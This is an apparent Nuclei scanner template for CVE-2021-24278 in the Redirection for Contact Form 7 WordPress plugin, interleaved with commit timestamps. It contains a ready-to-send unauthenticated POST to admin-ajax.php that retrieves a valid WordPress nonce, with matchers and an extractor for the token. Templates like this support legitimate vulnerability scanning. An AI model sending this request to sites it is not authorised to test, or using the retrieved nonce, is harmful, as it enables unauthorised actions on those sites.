2021-11-26 23:32:48 +00:00
id : CVE-2021-24278
info :
2022-06-25 07:14:58 +00:00
name : WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
2021-11-26 23:32:48 +00:00
author : 2rs3c
severity : high
2022-06-25 07:14:58 +00:00
description : WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
2023-09-27 15:51:13 +00:00
impact : |
Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
2023-09-06 12:09:01 +00:00
remediation : |
Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
2021-11-26 23:32:48 +00:00
reference :
- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
2022-06-25 07:14:58 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24278
2021-11-26 23:32:48 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2021-24278
2023-07-11 19:49:27 +00:00
cwe-id : CWE-863
2024-01-14 13:49:27 +00:00
epss-score : 0.06115
epss-percentile : 0.92804
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : querysol
product : redirection_for_contact_form_7
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wordpress,wp-plugin,wpscan,querysol
2021-11-26 23:32:48 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-26 23:32:48 +00:00
- method : POST
path :
- "{{BaseURL}}/wp-admin/admin-ajax.php"
2023-07-11 19:49:27 +00:00
body : "action=wpcf7r_get_nonce¶m=wp_rest"
2021-11-26 23:32:48 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
matchers-condition : and
matchers :
2021-11-27 04:34:24 +00:00
- type : regex
2021-11-26 23:32:48 +00:00
part : body
2021-11-27 04:34:24 +00:00
regex :
- '"success":true'
- '"nonce":"[a-f0-9]+"'
condition : and
2021-11-26 23:32:48 +00:00
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2021-11-26 23:32:48 +00:00
extractors :
- type : regex
regex :
2022-06-25 07:14:58 +00:00
- '"nonce":"[a-f0-9]+"'
2023-07-11 19:49:27 +00:00
part : body
2024-01-26 08:31:11 +00:00
# digest: 490a00463044022024a2e39a45c5b09776230007e1053f4b547754504b35b7c333ebede4d740639602205b9d4836f51d900c15d2ccae4b1591b9c1a157e8cea73583605e2febdd12e4c4:922c64590222798bb761d5b6d8e72950